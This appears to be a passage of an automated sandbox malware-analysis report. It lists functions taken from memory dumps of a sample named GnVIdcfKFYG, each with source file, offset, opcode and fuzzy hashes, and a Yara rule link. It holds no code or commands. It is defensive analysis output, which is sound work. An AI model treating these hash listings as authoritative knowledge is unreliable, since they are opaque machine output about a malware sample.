                                  • Opcode ID: f9082775c8bde767bc8ce6a938ad13364f80fdc299bd744a1420d6f5c130de05
                                  • Instruction ID: 46ec659ae8802f21a1bf802ef3372040fa471c3958c41598edc156154cba4ea2
                                  • Opcode Fuzzy Hash: f9082775c8bde767bc8ce6a938ad13364f80fdc299bd744a1420d6f5c130de05
                                  • Instruction Fuzzy Hash: 4CE02632910298AFD310E7C8F80CB903BE8F701214F0A8055ED45EB002CB75EC40CBD1
                                  Function 058707FF Relevance: .0, Instructions: 15COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: fc8082827ae1e8ba7002de2ceadd819cefa57c3e4cc4f37a7fd659fe56f393b4
                                  • Instruction ID: a31bfe714a132e21a079cd0fa817daa40bb75bf15e4b34827dd575e144743ade
                                  • Opcode Fuzzy Hash: fc8082827ae1e8ba7002de2ceadd819cefa57c3e4cc4f37a7fd659fe56f393b4
                                  • Instruction Fuzzy Hash: 19D05E334441487BCB02ABC0EC40B987F2BAB05654F184045F7400D212D2739563EB80
                                  Function 05876030 Relevance: .0, Instructions: 15COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: bbc9bb947019dd63767eb507e293f7a3fd73d59ea32f25be944df1b7a7616d04
                                  • Instruction ID: 6dcb57c59cd3eb5ab64da3369d5c4062e84b9434e5ff8175002e14ab1e69ccfb
                                  • Opcode Fuzzy Hash: bbc9bb947019dd63767eb507e293f7a3fd73d59ea32f25be944df1b7a7616d04
                                  • Instruction Fuzzy Hash: 44D022A510490CCBF750F905DD16F633C0DE30430CF948412DC01F3A82E424CD108321
                                  Function 05879BA7 Relevance: .0, Instructions: 15COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 2e9a1a7a0e47afcfd09a94d013083bc14044bd688122e6af67dc144a12e4a768
                                  • Instruction ID: 8617ff985d29dc037e2cb5496fe71a6e219aeba2fe21d43f2bd37971510d5b7e
                                  • Opcode Fuzzy Hash: 2e9a1a7a0e47afcfd09a94d013083bc14044bd688122e6af67dc144a12e4a768
                                  • Instruction Fuzzy Hash: 15D0C73570421CC79B15D69595004EDB376EF84395B1000A5C911D3144DB36DD16C751
                                  Function 0587B5D8 Relevance: .0, Instructions: 12COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 259405e27cc63c4c9472cab376a798a9297ad5075cee3c398d2fbd592f86de5c
                                  • Instruction ID: a0002f206f92625fbdc379eed114cf27454d31100f9d3bc90ae71bbda0b34213
                                  • Opcode Fuzzy Hash: 259405e27cc63c4c9472cab376a798a9297ad5075cee3c398d2fbd592f86de5c
                                  • Instruction Fuzzy Hash: D3C09B6E11570477E7205961CD07F9A6C64FB51790F598430B90440570C013D4D5A653
                                  Function 05879AF0 Relevance: .0, Instructions: 11COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: e772ccc847b073a74de4b922de2b6d46021f5acd930a29b6f64f6810e4b0210a
                                  • Instruction ID: 1e719d4de802c254b235bae941c85d87333364607258f6ed67c958823f154d71
                                  • Opcode Fuzzy Hash: e772ccc847b073a74de4b922de2b6d46021f5acd930a29b6f64f6810e4b0210a
                                  • Instruction Fuzzy Hash: 2FC04C3F0005089EDF259B50CA4AF857BB5FB68200F8AC871955585961D621E85EA716
                                  Function 058AF9CA Relevance: .0, Instructions: 11COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518785817.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_58a0000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: eb3a3a27eb6f2f1cf053e08df9bf7dfe6af4d954436a7962ea3feff4b90c6e89
                                  • Instruction ID: e64b9c619dc91bcf4fdd5510800b14bcc1153040b007c42c202575e8a4aa0442
                                  • Opcode Fuzzy Hash: eb3a3a27eb6f2f1cf053e08df9bf7dfe6af4d954436a7962ea3feff4b90c6e89
                                  • Instruction Fuzzy Hash: 44C0127250A2608BE3109F25F90434577D4DF50214F1588AF848897610D138F4405785
                                  Function 0587EFB0 Relevance: .0, Instructions: 10COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: d949781869984de672f82a9cd66735ed1fdac48e200e8e9b322bcba4fd4b3453
                                  • Instruction ID: 25df98b8d179ee6905d5f1b33462c24c8d9de7790c9406c866bf4c6f697b2da6
                                  • Opcode Fuzzy Hash: d949781869984de672f82a9cd66735ed1fdac48e200e8e9b322bcba4fd4b3453
                                  • Instruction Fuzzy Hash: A3C08C32011A488BDB003BA1B50E3247FBCAB01303F102050FC0A418219E71A450C761
                                  Function 05870810 Relevance: .0, Instructions: 10COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 9c74756a01174113b345b98a0d2bc027c5aec087556772f78c22605d60a6873e
                                  • Instruction ID: a1354896adb199b8ec6a5fc6dcc45a47daf3ef63f3dcdfe46996de5a0504eded
                                  • Opcode Fuzzy Hash: 9c74756a01174113b345b98a0d2bc027c5aec087556772f78c22605d60a6873e
                                  • Instruction Fuzzy Hash: 50C0023214420CBBCB026A81E805E59BF2AAB55694F548055F7040D561D6B3E562AB90
                                  Function 05879399 Relevance: .0, Instructions: 9COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: a5259f2b9fed5cda72ce1b44ff8b0931b5f1a2922d641b8c3c33ab8168c70d6b
                                  • Instruction ID: 24e5912da8d0c6da460171da40eeb40ad31fd68ccd6ba48aea8a947f53e5fddf
                                  • Opcode Fuzzy Hash: a5259f2b9fed5cda72ce1b44ff8b0931b5f1a2922d641b8c3c33ab8168c70d6b
                                  • Instruction Fuzzy Hash: 50C09231200244CFEF405BA6D99F70E3EA0EF86B06F188890F586EF3E0CE24B8159B15
                                  Function 0587A4A4 Relevance: .0, Instructions: 8COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: ff75e85ee59435b61d9629a2e5bf346e89f0160bc43a7314448ca7c251dde187
                                  • Instruction ID: bff8a5d4bf4d67a462e4dbba9e16850da7492c52314feef37d44b4855fb41e8e
                                  • Opcode Fuzzy Hash: ff75e85ee59435b61d9629a2e5bf346e89f0160bc43a7314448ca7c251dde187
                                  • Instruction Fuzzy Hash: FFB01235299348B35731A6B8898DB3E5112EFF1701F408C027A0884030D432CCA5D217
                                  Function 05872C9B Relevance: .0, Instructions: 6COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 493549930f10af6baad58b52a25b76d5d992000fb884280c004b7e369777d393
                                  • Instruction ID: 10cfb1ab746e0cb19c4aa3fc85baa4431841795fcbb75c9755e09c22e58b5c07
                                  • Opcode Fuzzy Hash: 493549930f10af6baad58b52a25b76d5d992000fb884280c004b7e369777d393
                                  • Instruction Fuzzy Hash: B9A0223208020C8FCB0023A0B80F2203B2CE8000023CC0000FF0CC0A03CE00B808C282
                                  Function 05872CA0 Relevance: .0, Instructions: 5COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: f2519898550197a9cf04cb1ec5a6659a66c7d3b2017edd992e259705da76763d
                                  • Instruction ID: 6a8e18ab3242980d3857addc330eef8c342f39e88666f8d12abe60e84ee1b84e
                                  • Opcode Fuzzy Hash: f2519898550197a9cf04cb1ec5a6659a66c7d3b2017edd992e259705da76763d
                                  • Instruction Fuzzy Hash: F490023145560C8F8B402795740E5557B5CA5445557C81051F90D815025E557414C696
                                  Function 058AFF83 Relevance: .0, Instructions: 4COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518785817.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_58a0000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 083837d80fbe8685fd40bc3d1e50e49099f9b176802363aafb580cc080c213f5
                                  • Instruction ID: 95269c34daebe11300fb62fb5404370a3715804df51f5341412b9947cf4366ea
                                  • Opcode Fuzzy Hash: 083837d80fbe8685fd40bc3d1e50e49099f9b176802363aafb580cc080c213f5
                                  • Instruction Fuzzy Hash: FAA022B3C83AC00ACF23CB20EB883083E20FB82F0AF0E08EA8000C0C83C00C8008C308
                                  Function 05876CB0 Relevance: .0, Instructions: 3COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518735063.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_5870000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: bd374325f904429580857787001f3317c0c27054530d9f2a4703c343d55192ff
                                  • Instruction ID: fe6dbebcbe5769358acb56bef5d4b1f8f816a8b0d394cc651013e74245098e6f
                                  • Opcode Fuzzy Hash: bd374325f904429580857787001f3317c0c27054530d9f2a4703c343d55192ff
                                  • Instruction Fuzzy Hash: 69A00178929609AAEB118A52A04926C7A61B70630AF009055E81291A59EA785544AE55